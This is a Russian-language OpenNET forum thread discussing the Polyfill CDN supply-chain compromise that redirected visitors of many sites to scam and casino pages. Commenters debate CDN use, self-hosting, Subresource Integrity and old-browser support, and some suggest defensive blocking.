The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"Смена владельца библиотеки Polyfill привела к подстановке вредоносного кода на 110 тысяч сайтов"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Смена владельца библиотеки Polyfill привела к подстановке вредоносного кода на 110 тысяч сайтов"  +/
Сообщение от opennews (??), 25-Июн-24, 23:16 
Более 110 тысяч сайтов, использующих открытую JavaScript-библиотеку Polyfill для обеспечения совместимости со старыми версиями браузеров, стали жертвой вредоносных изменений, внесённых в код библиотеки новым владельцем проекта. В библиотеку, загружаемую на сайты через домен cdn.polyfill.io, был встроен вредоносный код,  перенаправляющий пользователя на мошеннические сайты (например, googie-anaiytics.com), букмекерские конторы и online-казино...

Подробнее: https://www.opennet.me/opennews/art.shtml?num=61440

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по ответам | RSS]

1. Сообщение от Аноним (1), 25-Июн-24, 23:16   +38 +/
Почему нельзя было иметь локальную копию скрипта? Что за странная склонность всё подключать к чужим сайтам, репозиториям и тд?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #2, #3, #4, #20, #26, #37, #55, #58, #68, #72, #81, #82, #85, #95, #159, #205, #217

2. Сообщение от Нико (?), 25-Июн-24, 23:19   +10 +/
С CDN грузится быстрее и кэшируется чаще.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #33, #61, #195

3. Сообщение от Аноним (3), 25-Июн-24, 23:19   –4 +/
Девопсня любит "оптимизировать". У них в религии четко прописано, что статику всегда надо держать в CDN, даже если заведомо известно, что сайтом будут пользоваться от силы полтора пользователя в день.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #5

4. Сообщение от Цыган (?), 25-Июн-24, 23:21   –1 +/
Для ответа на этот вопрос загуглите что такое CDN.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #7

5. Сообщение от Аноним (5), 25-Июн-24, 23:43   +/
Чтобы не быть девопснёй, надо заставлять пользаков скачивать с сервера /dev/zero целиком.
Тогда никто не скажет, что сайт слишком "оптимизирован" и быстро грузится.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #3 Ответы: #6

6. Сообщение от Аноним (3), 26-Июн-24, 00:08   –1 +/
1. Прочитать js-файл из диска и отправить его по http -- быстрая операция:

  - если постоянно читать один и тот же файл из диска, ось его засовывает в кэш, а диск больше не трогает (кэш уровня ядра).
  - нормальный веб-сервер позволяет явно прописать в конфиге, что файлы надо кэшировать в оперативке (кэш уровня веб-сервера).
  - в большинстве случаев js-файлы не весят больше пары метров (вообще, пара метров -- это уже худший случай).

2. Браузер на стороне клиента -- прикинь! -- не запрашивает js-файл каждый раз. Он его тоже кэширует. CDN незначительно ускорит лишь самую первую загрузку страницы: вместо 500ms страница откроется за 490ms. И стоило оно того? В обоих случаях (с CDN и без CDN) вторая и последующая загрузка страницы будет одинаковой, т. к. браузер достанет js из кэша.

CDN имеет смысл для видео и картинок. А также для js-файлов при условии, что это высокопопулярный ресурс уровня гугл.ком. Но девопсню вооружили CDN-молотком, и теперь они всюду видят гвозди.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #5 Ответы: #12, #34, #99

7. Сообщение от Аноним (7), 26-Июн-24, 00:12   +/
У тех, кому нужен CDN для статики, он есть свой (ну то есть арендованный, вероятно, но полностью контролируемый). На фига грузить с чужого?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #4 Ответы: #14, #92

8. Сообщение от Аноним (8), 26-Июн-24, 00:14   –7 +/
Мне одному стрёмно, что такая библиотека "продаётся" компании из Китая?
В каких еще целях окупится такой проект, если не прикрутить туда рекламу и вирусню?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #9, #21, #42

9. Сообщение от Аноним (9), 26-Июн-24, 00:31   +2 +/
Несли цивилизацию, демократию и рынок... ну донесли, чё.

Попался, к сложалению, жадноватый человек, что, к сожалению, не редкость.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8 Ответы: #80

10. Сообщение от Вы забыли заполнить поле Иаше (?), 26-Июн-24, 00:35   +2 +/
||polyfill.io^$all
Ответить | Правка | Наверх | Cообщить модератору

12. Сообщение от Аноним (5), 26-Июн-24, 00:46   –1 +/
А вы никогда не задумывались, как работает Интернет? Подскажу — там всё немного сложнее, чем при скачивании с подкроватного сервака. Динамическая маршрутизация, провайдеры первого яруса, метрики маршрутов и прочие девляпсовские термины.
На практике же это выливается, в частности, в то, на некоторых маршрутах RTT может достигать нескольких секунд. И без CDN это приведет к тому, что страница будет загружаться по полминуты (даже если грузить при 10 потоках одновременно), как во времена диалапа.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #50, #141, #172

14. Сообщение от Аноним (5), 26-Июн-24, 00:51   +/
Ну, сейчас примерно половина сайтов гоняет JS через jsdelivr. Пользователю быстрее загрузка страницы, владельцу сайта меньше платить за трафик.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7 Ответы: #47

15. Сообщение от Аноним (15), 26-Июн-24, 00:51   +1 +/
Хм, это права владельца продавать свой проект. Порой я тоже думаю над этим - есть некоторые популярные. Не стоит забывать что все продукты не являются ничейными если вам достались бесплатно. Это ж не помойка.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #60

20. Сообщение от Аноним (20), 26-Июн-24, 01:25   +/
Там обычно только основной скрипт на 10 метров, если они ещё и доп либы к себе положат то сайт будет пол часа прогружаться.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #57

21. Сообщение от Аноним (20), 26-Июн-24, 01:26   +1 +/
>такая

Ненужная?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

24. Сообщение от Аноним (24), 26-Июн-24, 01:48   –1 +/
>Проект Polyfill в феврале был продан
>Те, кому Polyfill по-прежнему необходим, могут использовать на своём сервере локальную копию на основе кода из репозитория с форком, созданным изначальным автором проекта.

То есть автор продал и тут же форк сделал? Подозревал что-то? Зачем продал тогда?

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #27, #70

26. Сообщение от Golangdev (?), 26-Июн-24, 01:56   –1 +/
Плюсую. Увы, некоторых жизнь ничему не учит. Это не первый случай, и, к сожалению не последний.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #45

27. Сообщение от Аноним (27), 26-Июн-24, 02:00   +7 +/
И деньги получил, и при своём остался - помоему отличная сделка
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24

32. Сообщение от Аноним (33), 26-Июн-24, 02:15   +4 +/
А не надо делать сайты, где приходится "для обеспечения совместимости со старыми версиями браузеров"!! Делайте сайты сразу для старых браузеров. И без долбаного жабоскрипта!
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #36, #56, #193

33. Сообщение от Аноним (33), 26-Июн-24, 02:18   +2 +/
Если ты не контролируешь, какой исполняется код - то г*****но ты, а не программист.
Да и скрипт не так нагружает систему, как всякие картинки по мегабайту.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #35, #87, #120, #154

34. Сообщение от Аноним (33), 26-Июн-24, 02:21   +2 +/
> 2. Браузер на стороне клиента -- прикинь! -- не запрашивает js-файл каждый раз

В принципе, он так должен делать почти со всем контентом. Но... прикинь - НЕ ДЕЛАЕТ! Поставь промежуточный прокси и посмотри запросы - о%еешь, сколько всякой шняги загружается по сто раз!

Я даже де6илам из Оперы писал: посмотрите что творит ваш г***браузер - страница ПОЛНОСТЬЮ загружена, я говорю "Save As...", а браузер... правильно - СНОВА лезет за страницей и всем контентом на ней! Что за ватзефак?!!? Бестолку, там сидят такие 6араны, что хоть в спортлото пиши.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #144

35. Сообщение от GG (ok), 26-Июн-24, 02:28   +/
А ведь есть ещё доля изюма в том что даже при занрузке с сидиэна (или откуда ещё угодно) можно контролировать это.
Но для этого надо быть не полностью безграмотной тупой мaкaкой и иметь хотя бы четверть извилины, а это уже сложно.

Не будьте полностью безграмотными тупыми мaкaками, осильте прочитать и понять:
https://developer.mozilla.org/en-US/docs/Web/Security/Subres...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #33 Ответы: #74, #84

36. Сообщение от Аноним (36), 26-Июн-24, 02:39   +2 +/
Дорогая поддержка как правило получается. Да и множество веб-программистов не знают как без жабоскрипта. Хотя мне идея нравится - поддержка netsurf на Kolibri как вариант.
В целом можно утверждать что жертвами должны были стать множество американских ИТ компаний корпоративных решений.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32 Ответы: #39, #63, #139

37. Сообщение от НяшМяш (ok), 26-Июн-24, 02:40   +3 +/
В тексте новости написано, почему в данном конкретном случае это удобно.
> Polyfill динамически оценивает текущий браузер по заголовку User Agent и для устаревших браузеров генерирует функции с реализацией недостающих методов, свойств и API

Это не статика, а сервис, который динамически выдаёт специфичные для определённого браузера полифиллы. Можно конечно и у себя захостить, но Fastly или Cloudflare использует половина интернета, ещё и бесплатно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #43

38. Сообщение от Аноним (36), 26-Июн-24, 02:42   +/
И ещё по теме - полифиллы этой библиотеки не всегда работали. Помню как-то вместе с react встретил проблему с полифилами.
Ответить | Правка | Наверх | Cообщить модератору

39. Сообщение от НяшМяш (ok), 26-Июн-24, 02:43   +/
У жабоскрипт программистов есть куча инструментов для сборки сайтов под старые браузеры. Единственная проблема это CSS, который нельзя нормально заполифиллить. Но если ограничить себя ранним флексбоксом, то можно даже IE 11 поддерживать. Без флексбокса уже ну очень больно верстать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #54, #179

42. Сообщение от Аноним (5), 26-Июн-24, 02:48   +6 +/
> Мне одному стрёмно, что такая библиотека "продаётся" компании из Китая?

То есть, если бы её продали в Албанию, Маршалловы острова или США, было бы менее стрёмно?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8 Ответы: #96, #209

43. Сообщение от Аноним (5), 26-Июн-24, 02:50   +/
Что мешает отдать статический файл и уже на стороне клиента определить нужные функции?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #37 Ответы: #71

45. Сообщение от Аноним (5), 26-Июн-24, 02:53   +/
Обычно жизнь учит, что на коммерческих проектах подключение CDN улучшает UX и повышает конверсию.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #26 Ответы: #49, #52, #198

47. Сообщение от Аноним (47), 26-Июн-24, 03:11   +1 +/
Но ведь за трафик все равно кому-то придётся платить.

В данном случае, платит владелец jsdeliver, и наверняка платит немало. А ему какая с этого выгода?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #14 Ответы: #51, #149

49. Сообщение от Golangdev (?), 26-Июн-24, 03:37   +/
> Деме́нция (лат. dementia — безумие) — приобретённое слабоумие, стойкое снижение познавательной деятельности с утратой в той или иной степени ранее усвоенных знаний и практических навыков и затруднением или невозможностью приобретения новых.

https://ru.wikipedia.org/wiki/%D0%94%D0%...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

50. Сообщение от noc101 (ok), 26-Июн-24, 03:43   –1 +/
Не понимаю наезда на CDN.
Он прекрасно кеширует ресурсы сайта и не надо подключать сторонние репозитории для загрузки.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #12

51. Сообщение от noc101 (ok), 26-Июн-24, 03:44   –1 +/
Сейчас трафик стоит копейки.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #47 Ответы: #62

52. Сообщение от noc101 (ok), 26-Июн-24, 03:46   +4 +/
А потом ой у нас сайт увели, пользователи на онлайн казино кидает и другой зловред, но зато на 0,5% стало больше псевдографики в табличке.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

54. Сообщение от Аноним (57), 26-Июн-24, 03:49   +/
Уж больно редко в вёрстке есть нужное людям.

Для бизнеса - часто. Но чужой бизнес не волнует от слова совсем и нужен ооочень редко.

А полезные и нужные вещи просты в любом браузере.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #39

55. Сообщение от Аноним (57), 26-Июн-24, 03:50   +/
> Почему нельзя было иметь локальную копию скрипта? Что за странная склонность всё подключать к чужим сайтам, репозиториям и тд?

Вебня, она такая вебня.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

56. Сообщение от noc101 (ok), 26-Июн-24, 03:50   +1 +/
Зачем поддерживать старые сайты. Обычно это Ослики виндовые. которых уже ноль целый хрен десятых осталось на рынке.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32 Ответы: #65, #145

57. Сообщение от Аноним (57), 26-Июн-24, 03:51   +/
И шрифтов на 5-10 метров. Зачем-то. Непонятно зачем.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #20 Ответы: #151

58. Сообщение от Bob (??), 26-Июн-24, 05:13   +/
Потому что веб м4к4ки)
Вообще: "в современных реалиях потребности в Polyfill больше нет, так как все основные браузеры в должной мере поддерживают Web API".
НУ и стоило на версию cloudflare давно переходить.

А в целом, делать апдейт до прочтения чейнджлога и тестов? - Мое почтение, добро пожаловать в печь, унтерменшен.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

60. Сообщение от Аноним (60), 26-Июн-24, 06:07   +3 +/
>все продукты продаются криминалу
>Это ж не помойка.

Помойка, самая настоящая, помоечный идеал.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #15

61. Сообщение от penetrator (?), 26-Июн-24, 06:20   +2 +/
ты не поверишь, но нет, не быстрее, конечно сильно от региона будет зависить и твоего хостинга, но есть примеры когда CDN из своей перегруженности и направленности на массовость таки проигрывает датацентрам с хорошей сетью

насчет контроля, есть такое понятие как hash функция

https://developer.mozilla.org/en-US/docs/Web/Security/Subres...

но ты светишь им клиента, даже если целостность файла подтверждена, приватность не пахнет в принципе

что решается уже самим клиентом с помощью Decentraleyes для тех кому надо

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #75

62. Сообщение от penetrator (?), 26-Июн-24, 06:27   –1 +/
в калоклаудах стоит минимум 2 цента в пиринговые сети за 1 гб (и 5 центов в остальные), ну посчитай во что тебе выльется 1 гигабитный аплинк за месяц

я конечно понимаю, что врядли он облаччные это деливр, но не надо говорить, что трафик копеечный, смотря у кого, ну и все равно не то чтобы почти даром

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #51 Ответы: #166

63. Сообщение от Аноним (63), 26-Июн-24, 06:39   +5 +/
Поддержка-то недорогая, там в консервативном фронтэнде стек технологии короче и стабильнее, всегда бы так.

Но заказчик будет хотеть пимпочки и рюшечки, которые в bleeding edge версиях браузеров только начали поддерживаться, и чаще всего в каком-то одном. Либо (наиболее вероятно) фронтдев хочет модно-молодёжно "быстрая разработка - медленный рантайм" что-нибудь, потому что лень или некогда.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #106

65. Сообщение от Аноним (65), 26-Июн-24, 07:03   +2 +/
Чтобы я с Windows XP и MyPal (идеально если с Internet explorer 6) мог ими пользоваться. Да и большинству паутинных страничек достаточно  CSS 2 и HTML 4 и можно без CSS. JavaScript тоже не нужен. WWW это текст и картинки а HTML средство разметки текста если кто забыл. Смысла в том что, например странички с сайта банка перестают работать из–за того что браузер не может отрисовать серые прямоугольники вместо грузящегося текста никакого.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #56 Ответы: #77, #150, #235

68. Сообщение от onanim (?), 26-Июн-24, 08:03   +/
если вдруг кто ещё не знает: https://addons.mozilla.org/en-US/firefox/addon/decentraleyes/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #102

69. Сообщение от Tron is Whistling (?), 26-Июн-24, 08:28   +5 +/
Любители тащить в рот лефтпады из первого попавшегося источника снова на острие, да что ж ты будешь делать-то. Ну и их пользователи, само собой, верная ЦА.
Ответить | Правка | Наверх | Cообщить модератору

70. Сообщение от Аноним (70), 26-Июн-24, 08:32   +1 +/
почему тут же? как вы пришли к этому выводу?
люди начали жаловаться, что новый владелец творит какую-то дичь и автор создал форк, но не стал его нигде разворачивать. Просто заведомо чистый код выложил из-за жалоб
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24

71. Сообщение от Аноним (74), 26-Июн-24, 08:37   +/
> Что мешает отдать статический файл и уже на стороне клиента определить нужные функции?

Скорость загрузки всего кода вместо необходимой части (или вообще ничего, если браузер последней версии).

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #43

72. Сообщение от Аноним (74), 26-Июн-24, 08:42   +1 +/
> Почему нельзя было иметь локальную копию скрипта? Что за странная склонность всё подключать к чужим сайтам, репозиториям и тд?

Почему нельзя читать новость не пятой точкой?

> Polyfill динамически оценивает текущий браузер по заголовку User Agent и для устаревших браузеров генерирует функции с реализацией недостающих методов, свойств и API

Это не статичная библиотека, а сервис.

А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #103

74. Сообщение от Аноним (74), 26-Июн-24, 09:12   +3 +/
> Но для этого надо быть не полностью безграмотной тупой мaкaкой

Ну раз ты к таким не относишся, объясни, пожалуйста, как Subresource Integrity помог бы в данном случае? С учетом того, что юзеры использовали официальный Polyfill с официального сервака?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35 Ответы: #86, #137

75. Сообщение от Аноним (74), 26-Июн-24, 09:15   +/
> насчет контроля, есть такое понятие как hash функция

При чем здесь это, если использовался Polyfill с официального сайта? Контроль здесь может быть только в виде ревью нового кода глазками.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #61 Ответы: #76

76. Сообщение от penetrator (?), 26-Июн-24, 09:20   +/
потому что все вышесказанное было в контексте

"С CDN грузится быстрее и кэшируется чаще."

тема соответствия оригинального проекта и форка не трогалась в этой ветке

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75 Ответы: #79

77. Сообщение от Аноним (74), 26-Июн-24, 09:22   +/
> Чтобы я с Windows XP и MyPal (идеально если с Internet explorer 6) мог ими пользоваться.

Видишь ли, писать с поддержкой IE - это время и деньги (как минимум на то, чтобы тестировать в IE). А они не окупятся десятком неплатежеспособных пользователей.

То есть если у тебя нет денег на новую ось и железо, то почему бизнес должен это оплачивать?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65 Ответы: #146, #233

78. Сообщение от crypt (ok), 26-Июн-24, 09:26   +2 +/
интересно, окупилась покупка или нет. такую активность быстро палят, какой смысл.
Ответить | Правка | Наверх | Cообщить модератору

79. Сообщение от Аноним (74), 26-Июн-24, 09:36   +/
Тогда я не понял, к чему упомянут контроль.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #76 Ответы: #199

80. Сообщение от Аноним (74), 26-Июн-24, 09:43   +15 +/
> Попался, к сложалению, жадноватый человек, что, к сожалению, не редкость.

Люди использовали халявку - как сам Polyfill, так и его CDN - а жадным при этом оказался автор, который пилил это все за бесплатно.

Опеннетная логика, бессмысленная и беспощадная.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #9

81. Сообщение от Аноним (81), 26-Июн-24, 09:45   +1 +/
потомушта докер в бесплатном облаке
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #104

82. Сообщение от Соль земли (?), 26-Июн-24, 09:46   +/
Лень. Официальный CDN прописывают только на время разработки. В проде собирают webpack.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

83. Сообщение от Соль земли (?), 26-Июн-24, 09:50   +/
Всмысле проект продан? Он чего-то стоил сам по себе? Уже подозрительно.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #94

84. Сообщение от амоним (?), 26-Июн-24, 10:07   +1 +/
там динамически отдается полифил. это не статика. просто хеш не пропишешь.
идеальный вектор для атаки )
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35 Ответы: #134

85. Сообщение от Аноним (85), 26-Июн-24, 10:13   +/
Потому что это сервис, который генерирует полифиллы для конкретной версии браузера, исходя из заголовка user-agent. Во-первых, самому такое хостить не всегда получится, там наверняка оптимизированный под эту задачу веб-сервер. Во-вторых, это ведь не только для древности, новые фичи в JS постоянно появляются, браузеры постоянно меняются, для вышедшей завтра новой версии какой-то полифилл может оказаться не нужен, и точно никто не хочет это поддерживать самостоятельно.

Тот случай, когда сторонний сервис удобен и практичен. Но на том, кто такой сервис запустил, большая ответственность, и продавать такое сомнительным китайцам... Ну, может, деньги очень нужны были, могу понять.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #101

86. Сообщение от GG (ok), 26-Июн-24, 10:40   –5 +/
> Ну раз ты к таким не относишся, объясни, пожалуйста

Объясняю:

> When a browser encounters a <script> or <link> element with an integrity attribute, before executing the script or before applying any stylesheet specified by the <link> element, the browser must first compare the script or stylesheet to the expected hash given in the integrity value. For subresource-integrity verification of a resource served from an origin other than the document in which it's embedded, browsers additionally check the resource using Cross-Origin Resource Sharing (CORS), to ensure the origin serving the resource allows it to be shared with the requesting origin.
> If the script or stylesheet doesn't match its associated integrity value, the browser must refuse to execute the script or apply the stylesheet, and must instead return a network error indicating that fetching of that script or stylesheet failed.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #74 Ответы: #90

87. Сообщение от минона (?), 26-Июн-24, 10:45   +/
Скажите, пожалуйста, какую марку микропроцессора Вы используете?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #33

90. Сообщение от Аноним (74), 26-Июн-24, 11:00   +5 +/
Чел, ты хоть сам понимаешь, что написано в этом тесте?

Я тебе еще раз повторяю: это был официальный Polyfill с официального сервака, у котрого с origin и integrity все в порядке.

Зачем ты лезешь со своей экспертизой в темы, в которых ничего не понимаешь? Зато уже обозвал всех обезьянами с четвертью извилины...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86 Ответы: #105, #133, #136

91. Сообщение от awoland (ok), 26-Июн-24, 11:03   +1 +/
Такого же вроде бы никогда-никогда не было? И вот вдруг опять...
Ответить | Правка | Наверх | Cообщить модератору

92. Сообщение от Аноним (74), 26-Июн-24, 11:19   +/
> У тех, кому нужен CDN для статики, он есть свой

Лол. Не каждый крупный бизнес может себе позволить свой CDN, а про средний и мелкий вообще  думать смешно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7 Ответы: #115

94. Сообщение от нах. (?), 26-Июн-24, 11:22   +2 +/
конечно стоил. Когда ты свой код будешь (прям со своего сервера загружающийся на ходу) исполнять на миллионах клиентских браузеров - то тоже сможешь продаться китайцам подорого.

Причем совершенно неважно, нужен кому этот код на самом деле или нет.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #83

95. Сообщение от Admino (ok), 26-Июн-24, 11:23   +1 +/
Веб-разраб думает, что использование стороннего скрипта напрямую с CDN стороннего скрипта приведёт к тому, что новые версии с исправленными уязвимостями будут появляться прямо на CDN, а ему не надо будет напрягаться и следить за всеми этими версиями. То, что с CDN может прилететь не только исправление уязвимости, но и новые уязвимости, веб-разраб не думает.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

96. Сообщение от Admino (ok), 26-Июн-24, 11:24   +2 +/
Надо было в Северную Корею продать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42

97. Сообщение от timur.davletshin (ok), 26-Июн-24, 11:29   +5 +/
Ublock Origin уже заблокировал его в списке Badware Risks.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #100

99. Сообщение от нах. (?), 26-Июн-24, 11:39   +2 +/
> CDN незначительно ускорит лишь самую первую загрузку страницы

или замедлит. Потому что не смотря на всякие зеротлс и прочие антитехнологические изобретения улучшаек - время на установку нового (!) шифрованного (!) соединения с новым сервером вовсе не нулевое.

А с твоим оно вот уже открыто, и скорее всего не одно. Ты даже и не заметишь что там еще сотня файлов по паре мегабайтиков пролетит.

Особенно - на фоне тупежа браузера, пытающегося все эти мегабайты кода выполнить на ходу.

> CDN имеет смысл для видео и картинок.

тоже нет. Если ты не собираешься конечно косплеить гугль или твиттер.

Ну разьве что у тебя совсем уж подкроватный сервер на модеме 14400.

Единичное видео откроется напрямую с него быстрее чем с CDN (опять же потому что до cdn еще достучаться надо). А постоянная скорость его отдачи превышающая битрейт все равно никому не нужна. Как и миллион одновременных скачиваний - ты не звезда онлифанс, к сожалению.

Вот для одноразовых инстансов в дядиных "облачках" - имеет смысл, чтоб дяде за траффик не заплатить (или поменьше, чем первому, если cdn "свой", в смысле арендованный а не чужого дяди вообще, в любом количестве и бесплатно)

> Но девопсню вооружили CDN-молотком, и теперь они всюду видят гвозди.

просто они не видят куда в "веб-приложению" совать картинки и скрипты. А если их попросить это сделать - немедленно обратятся к фулшмяк девам, и те им накодят на сервере - запрос к орацлу, из которого поднимется блобик, а на клиенте запрос к апи, который этот сервер обработает.
Ну в крайнем случае, если сильно-сильно продвинутые - то не в орацл, а в s3. AWSовский конечно, какой же еще может быть s3! И пусть весь мир подождет.

Лучше уж пусть CDN используют, меньше будет угрозы глобального потепления.


Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #112, #116

100. Сообщение от нах. (?), 26-Июн-24, 11:43   –5 +/
теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять баллов.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #97 Ответы: #110, #111, #113, #170, #184

101. Сообщение от нах. (?), 26-Июн-24, 11:51   –1 +/
> Во-первых, самому такое хостить не всегда получится, там наверняка оптимизированный под эту
> задачу веб-сервер.

вам лучше подметать улицы. Э... нет, лучше тоже не надо. А то вы граблями будете. Вместо метлы.

> Тот случай, когда сторонний сервис удобен и практичен.

но дядин.

> Но на том, кто такой сервис запустил, большая ответственность

простите, но вы ему ничего не заплатили. И он вам ничего не должен и ни за что отвечать не собирается. Вы должны отвечать перед своими клиентами за выбор чужой халявы.

> Ну, может, деньги очень нужны были, могу понять.

ему просто стало неинтересно. А это сомнительное хобби обходилось довольно недешево. (заметьте, кстати, что в отличие от вас он не только справился с написанием и поддержкой довольно замороченного и браузерозависимого кода, но и с его хостингом на собственных ресурсах очень продолжительное время)
И вместо того чтобы просто выключить сервер и положить пол-интернета любителей удобно и практично за чужой счет, он его продал тем кто не выключит. Заодно и окупил затраты.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #85

102. Сообщение от нах. (?), 26-Июн-24, 11:58   +1 +/
Если вдруг кто не понимает:
https://git.synz.io/Synzvato/decentraleyes/-/tree/master/res...
вот тут лежит ПОЛНЫЙ список давно никем не используемых и сто лет не обновляющихся жабоскриптовых либ, которые (и ТОЛЬКО их, и только вот этих конкретных версий) эта поделка подменяет на ходу.

Полифилов там нет, потому что это не совсем либа, и к тому же их так просто подменить не выйдет.

Добавить самостоятельно что-то свое при этом нельзя, даже если это что-то тривиальное. Автор не предусмотрел. Только разбирать пакет и собирать свой с добавленным единичным ресурсом, и так каждый раз.

Идея была не то чтоб хороша но как-то приемлема лет десять назад.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #68

103. Сообщение от нах. (?), 26-Июн-24, 11:59   –1 +/
А его серваку и не надо снабжать ей весь мир. На его полтора клиента - мощностей вполне хватит (основной контент как-то ведь отдает, и может даже - динамический, а не полтора скриптика)

Но некому поднять и обслуживать.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #72 Ответы: #109

104. Сообщение от нах. (?), 26-Июн-24, 12:00   –1 +/
чего ета - в бесплатном-то? В платном. Не из девляпсового же ж карманца.

Л-х не мамонт.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #81

105. Сообщение от Owlet (?), 26-Июн-24, 12:10   +1 +/
Там есть контрольная сумма. Сумма поменялась - ресурс больше не загружается.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #107

106. Сообщение от нах. (?), 26-Июн-24, 12:22   +1 +/
> Но заказчик будет хотеть пимпочки и рюшечки, которые в bleeding edge версиях браузеров только
> начали поддерживаться

заказчик на самом деле не будет этого хотеть - он не читал release notes и понятия не имеет что еще там стало сегодня с обеда поддерживаться.

более того, вся суть полифила была в том что он таки поддерживал новые фичи, отсутствующие в не совсем модном браузере. Т.е. если бы заказчик на самом деле этого хотел - запилить в немодном несовременном стеке было бы можно (правда, с тормозами). Но он не хочет это оплачивать.

Максимум чего хочет заказчик - это "шоб сайт не хуже чем у пацанов!"

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #63 Ответы: #142, #180

107. Сообщение от Аноним (74), 26-Июн-24, 12:32   +3 +/
> Там есть контрольная сумма.

PolyFill генерируется динамически на стороне CDN в зависимости от User-Agent браузера. Ты будешь перед выпуском в прод запускать свой локальный PolyFill, чтобы вычислить заранее контрольные суммы для сотни возможных враиантов сгенерированного скрипта и встроить их в каждую страницу сайта?

> Сумма поменялась - ресурс больше не загружается.

Да - и все пользователи твоего сайта автоматически идут лесом. Вне зависимости, был ли в либе бэкдор.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #105 Ответы: #138

108. Сообщение от Аноним (108), 26-Июн-24, 12:34   +/
https://blog.danieljanus.pl/2019/10/07/web-of-documents/
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #126

109. Сообщение от Аноним (74), 26-Июн-24, 12:35   +/
> А его серваку и не надо [...] На его  полтора клиента

Ты вообще о ком? И окуда заранее знаешь, что ему надо и сколько у него клиентов?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103 Ответы: #169

110. Сообщение от Аноним (74), 26-Июн-24, 12:39   +2 +/
> теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять баллов.

Думаешь, лучше было оставить "вредоносный код, перенаправляющий пользователя на мошеннические сайты (например, googie-anaiytics.com), букмекерские конторы и online-казино"?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #100

